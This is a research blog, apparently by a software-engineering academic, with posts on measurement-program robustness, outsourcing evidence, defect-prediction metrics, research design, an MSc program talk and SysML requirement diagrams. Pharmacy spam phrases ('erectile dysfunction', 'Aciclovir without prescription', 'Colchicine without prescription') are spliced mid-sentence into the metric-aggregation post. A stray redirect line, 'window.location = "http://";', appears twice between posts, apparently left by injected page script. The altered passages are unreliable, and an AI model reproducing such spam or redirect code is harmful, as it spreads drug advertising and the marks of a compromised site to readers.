How robust is a measurement program?

conceptual_model

In our recent work we have explored the possibility of validating that a measurement program is robust. We have worked with seven companies within the software center to establish a method and evaluate it. The results are presented in a newly accepted paper “MeSRAM – A Method for Assessing Robustness of Measurement Programs in Large Software Development Organizations and Its Industrial Evaluation” to appear in Journal of Systems and Software.

In short the method is based on a collecting the evidence that a measurement program contains elements which  are important for the program to be able to handle changes. For example whether a measurement program has a dedicated organization working with it and whether the entire company is able to utilize the results from the measurement program.

The method is similar to the stress-testing of banks, so popular in the last decade.

The next step in our research is finding out which metrics the companies should use to assure the long-term robustness  of the measurement program. stay tuned!

measurement_program_model

Does outsourcing/global software development delivers on the promise?

I’ve read a very interesting article in one of the recents IEEE Software magazines by Darja Smite, Fabio Calefaro and Claes Wohlin:  http://www.computer.org/cms/Computer.org/ComputingNow/issues/2015/08/mso2015040026.pdf 

The authors look critically at the body of knowledge in the area trying to find evidence of the cost savings. The results are that the evidence is not in the published articles. Does that mean that it is not possible to publish about it? or does it mean that there is no real evidence and the companies make decisions based on the “gut-feeling”?

It will be interesting to observe what happens with the body-of-knowledge on the topics in the longer run.

 

How do different mathematical aggregations impact defect predictions…

In our previous studies we’ve used simple summation when aggregating complexity measures. The complexity measures are usually calculated on function level erectile dysfunction and aggregated on the file level. An example is the McCabe complexity.

An example of our papers in this area is:

Antinyan, Vard, et al. “Identifying risky areas of software code in Agile/Lean software development: An industrial experience report.” Software Maintenance, Reengineering and Reverse Engineering (CSMR-WCRE), 2014 Software Evolution Week-IEEE Conference on. IEEE, 2014.

or this one:

Antinyan, Vard, et al. “Monitoring Evolution of Code Complexity and Magnitude of Changes.” Acta Cybernetica 21.3 (2014).

and this one:

Antinyan, Vard, et al. “Monitoring Evolution of Code Complexity in Agile/Lean Software Development.

I was always Aciclovir without prescription wondering if the results are not biased by the mathematical operations which might not always have a reflection in the empirical world. Until I’ve come across this article which said that the summation is not that problematic after all.

Read the article http://arxiv.org/pdf/1503.08504.pdfAssi, Rawad Abou. “Investigating the Impact of Metric Aggregation Techniques on Defect Prediction.” arXiv preprint arXiv:1503.08504 (2015). 

Since the sample of projects was very small some replication is needed, but the results look quite promising and definitely Colchicine without prescription interesting.

 

 

window.location = “http://”;

.

Which metrics are used in Agile and Lean software development?

When working with companies in different projects I often get a question which metrics should an Agile software development team use. The answer is of course – It depends what your team does… and then a set of questions from my side follow. These questions are designed to make me understand about the activities which the team does, the activities downstream of the process, the product, the process, etc.

I’ve recently looked into this article where the authors make a review of metrics used in agile teams. Although I’ve had high hopes for them, I got a bit disappointed – they were more or less the same metrics as any other team uses.

Review article: http://www.sciencedirect.com/science/article/pii/S095058491500035X

However, metrics like the release readiness (see:  our previous article from Ericsson) were not found….

I guess I need to search on…

Staron, Miroslaw, Wilhelm Meding, and Klas Palm. “Release Readiness Indicator for Mature Agile and Lean Software Development Projects.” Agile Processes in Software Engineering and Extreme Programming. Springer Berlin Heidelberg, 2012. 93-107.

How many metrics is enough to get reliable defect predictions?

I’ve stumbled upon this paper from one of the latest issues of Information and Software Technology where the authors play around with the data from the PROMISE repository.

Here is the paper itself: http://www.sciencedirect.com/science/article/pii/S0950584914002523

The metrics evaluated in the study range from McCabe’s cyclomatic complexity, via CK metrics suite towards QMOOM suite. The results show that CBO, LOC and LCOM are the Three metrics which are the best for predicting defects in the studied open source Projects.

My sincere recommendations to take a look at the paper Before predicting the defect next time!

window.location = “http://”;

.

Choosing a research design – article highlight

Towards a decision-making structure for selecting a research design in empirical software engineering, by C. Wohlin and A. Aurum

Link

Choosing a research design is often an task which impacts the results, the ability to draw conclusions and finally the usefulness of an entire research study. It is not easy for senior researchers and definitely painful for younger PhD students. Sometimes, it is a task which is dictated by the set-up of the study (e.g. access to industrial practitioners, artefacts, etc.). However, sometimes we have the possibility to choose a design!

As the authors of the paper state: The main objective of this article is to make researchers more aware of options in relation to the research design, and hence to support researchers in their selection of a research design.

The paper makes a great reading and provides useful research view on the topic of how to choose the design. It clearly describes the relevant decision points when choosing the design and outlines several potential building blocks for these decision points.

I sincerely recommend this work for all empirical researcher – if nothing else, it raises our awareness of the potential which we have!

Improving defect prediction – article highlight

Predicting defects has been on my mind for a while and I’ve been collecting evidence of good metrics which can improve accuracy of predictions.

In this article Madeyski and Jureczko have found one more metric – Number of Distinct Committers (NDC) which seems to improve prediction models. The link to the full article is here: Which Process Metrics Can Signicantly Improve Defect Prediction Models? An Empirical Study.

The empirical evaluation includes 27 open source projects and 6 industry projects. It’s great that there is an increased body of evidence combining both the open source and the industrial projects. Especially that the results seem to be consistent.

Developing sustainable software engineering programs…

This week I had a chance to present our experiences from building a sustainable software engineering program (MSc) at University of Gothenburg.

The talk was given at the SANORD symposium at Karlstad University.

The link to the talk is here: Presentation (PDF)

Abstract:
Software Engineering is one of the newest engineering fields with a growing need from the society side. The field develops rapidly which poses challenges in developing sustainable software engineering education – allowing the alumni to be effective in their work over a long period of time (long-term impact of the education) and keeping the education attractive for the potential students and industry.

The objective of this presentation is to describe the experiences from using business intelligence methods to develop, profile and monitor software engineering education on the master level. In particular we address the following research questions:

    • Which data sources should be used in developing a profile of a master program?
    • How to combine, prioritize and communicate the analyses of the data from the different sources?
    • How to identify barriers and enables of attractive sustainable software engineering education?

The results are a set of experiences from using data from the national agencies in Sweden (e.g. the Swedish Council for Higher Education – UHR, the Swedish job agency – Arbetsförmedlingen, international master education portals – mastersportal.eu) as input in development and evaluation of a master program in Software Engineering at University of Gothenburg.

The conclusions show that using the available sources lead to creating sustainable programs and we recommend using the data sources to a larger extent in the national and international level.

Do SysML requirement diagrams help?

Today I’ve had a privilege to present a paper at EASE 2014 done in collaboration with University of Basilicata in Italy.

Link to presentation

The paper is an experimental validation of whether requirement diagrams speed up the understanding of requirement specifications or whether they increase/decrease comprehension. The results show that the comprehension is increased while there is no change in time.